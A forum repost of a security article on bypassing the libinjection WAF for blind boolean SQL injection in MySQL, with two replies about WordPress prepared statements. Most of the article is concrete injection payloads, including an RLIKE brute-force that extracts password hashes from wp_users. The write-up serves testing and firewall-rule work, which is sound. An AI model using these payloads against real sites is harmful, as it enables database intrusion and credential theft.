Nytro Posted September 14, 2020 Report Posted September 14, 2020 Advanced boolean-based SQLi filter bypass techniques Learn how to bypass filters and Application Firewall rules using MySQL String Functions, Regex Functions, Conditional Select and Set Variables to exploit a blind (boolean-based) SQL Injection vulnerability. This article aims to show you some techniques to exploit a SQL Injection vulnerability bypassing libinjection (running inside a Web Application Firewall). libinjection is an open-source SQL / SQLi tokenizer parser analyzer created by Nick Galbreath from Signal Sciences that aims to detect SQL Injection and XSS payloads. Libinjection runs in many Web Application Firewall because it performs better than a regular expression based ruleset. Despite this, it works well and it detects many SQLi payloads, and it can be bypassed by using specific SQL syntaxes such as MySQL string functions or conditional select. Let's take a look at the following request that tries to check if the parameter id can be injectable with SQL syntax: /index.php?id=1+AND+1=1 It is successfully identified by libInjection as SQLi attempts. You can use a list of Arithmetic Operators, String Functions and Conditional Select syntaxes to bypass it. Arithmetic operators Consider you need to check a parameter with a numeric value 2 in order to see if it's vulnerable to SQL Injection. You can make it by replacing the number 2 with an arithmetic operation. For example: OPERATOR DESCRIPTION EXAMPLE INJECTION + Addition select 1 + 1 /index.php?id=1%2b1 - Subtraction select 3 - 1 /index.php?id=3-1 * Multiplication select 2 * 1 /index.php?id=2*1 / Division select 2 / 1 /index.php?id=2/1 DIV Integer Division select 2 DIV 1 /index.php?id=2+DIV+1 String Functions libinjection intercept most of SQLi classic attempts like 1+OR+1=1 but, speaking of MySQL, it's possible to bypass its filters by using MySQL functions: INSERT: Insert substring at specified position up to n characters /index.php?id=1+OR+1=insert(1,1,1,1)-- REPEAT: Repeat a string the specified number of times index.php?id=1+OR+1=repeat(1,1)-- REPLACE: Replace occurrences of a specified string /index.php?id=1+OR+1=replace(1,1,1)-- RIGHT: Return the specified rightmost number of characters /index.php?id=1+OR+1=right(1,1)-- WEIGHT_STRING: Return the weight string for a string /index.php?id=1+OR+weight_string("foo")=weight_string("foo")-- IF statement: Implements a basic conditional construct /index.php?id=IF(1,1,1)-- Expression and Comments to Bypass As you might know, a useful technique that could help in bypassing filters is to insert comments inside the SQL syntax, such as sEleCt/*foo*/1. This kind of payload is well blocked by WAF that uses libinjection but the following syntax seems to bypass it well: {`<string>`/*comment*/(<sql syntax>)} For example, in a real scenario: curl -v 'http://wordpress/news.php?id=\{`foo`/*bar*/(select+1)\}' Following some other examples: EXAMPLE INJECTION select login from users where id={`foo`/*bar*/(select 2)}; /index.php?id={`foo`/*bar*/(select+2)} select login from users where id={`foo`/*bar*/(select--2)}; /index.php?id={`foo`/*bar*/(select--2)} select login from users where id={`foo`/*bar*/(select+2)}; /index.php?id={`foo`/*bar*/(select%2b2)} In a real scenario, if you found a boolean-based SQL Injection for example on a vulnerable WordPress plugin, and you need to bypass a WAF using libinjection to exploit it, you can bruteforce and exfiltrate the password hash of a user by using the following payload: /index.php?id={`foo`/*bar*/(select+1+from+wp_users+where+user_pass+rlike+"(^)[$].*"+limit+1)} In this case, the RLIKE operator makes me able to brute-force the hashed password value by checking the response body length after adding characters to the regular expression. For example (using any web fuzz tool): RLIKE "(^)[$].*" -> return ok (hash: $) RLIKE "(^)[$][a].*" -> error or different response body length RLIKE "(^)[$][b].*" -> error or different response body length RLIKE "(^)[$][c].*" -> return ok (hash: $c) RLIKE "(^)[$][c][a].*" -> error or different response body length RLIKE "(^)[$][c][b].*" -> error or different response body length RLIKE "(^)[$][c][c].*" -> return ok (hash: $cc) etc... Assignment Operators The := assignment operator causes the user variable on the left hand side of the operator to take on the value to its right. The value on the right hand side may be a literal value, another variable storing a value, or any legal expression that yields a scalar value, including the result of a query (provided that this value is a scalar value). You can perform multiple assignments in the same SET statement. You can perform multiple assignments in the same statement. Unlike =, the := operator is never interpreted as a comparison operator. This means you can use := in any valid SQL statement (not just in SET statements) to assign a value to a variable. We can use all syntaxes shown before (Expression, Comments, RLIKE, and Assignment Operator) too (thanks to @seedis https://github.com/seedis). For example: /index.php?id=@foo:=({`if`/*bar*/(select+1+from+wp_users+where+user_pass+rlike+"^[$]"+limit+1)})+union+%23%0a+distinctrow%0b+select+@foo This requires more explaining: select id=1 by injecting SQL query select id=2 by injecting SQL query References https://dev.mysql.com/doc/refman/8.0/en/arithmetic-functions.html https://dev.mysql.com/doc/refman/5.7/en/expressions.html https://dev.mysql.com/doc/refman/8.0/en/assignment-operators.html https://github.com/coreruleset/coreruleset/issues/1167 If you liked this post, follow me! Follow @Menin_theMiddle Follow @theMiddleBlue235 The awesome image used in this post is called "Lights Out" by spovv. theMiddle OWASP Core Rule Set Developer, Co-Founder at Rev3rse Security, I ❤️ to break application firewalls. Sursa: https://www.secjuice.com/advanced-sqli-waf-bypass/ Quote
dimss Posted September 15, 2020 Report Posted September 15, 2020 Aveam impresia ca wordpress-ul ca si restul lumii foloseste prepared statements pentru a elimina vulnerabilitatile de genul acesta. 1 Quote
Nytro Posted September 15, 2020 Author Report Posted September 15, 2020 Da, Wordpress foloseste prepared statements (lucru care nu e valabil si pentru toate template-urile si plugin-urile), cred ca doar a fost folosit pentru teste cand a fost scris articolul, ca sa fie mai usor de inteles. 1 Quote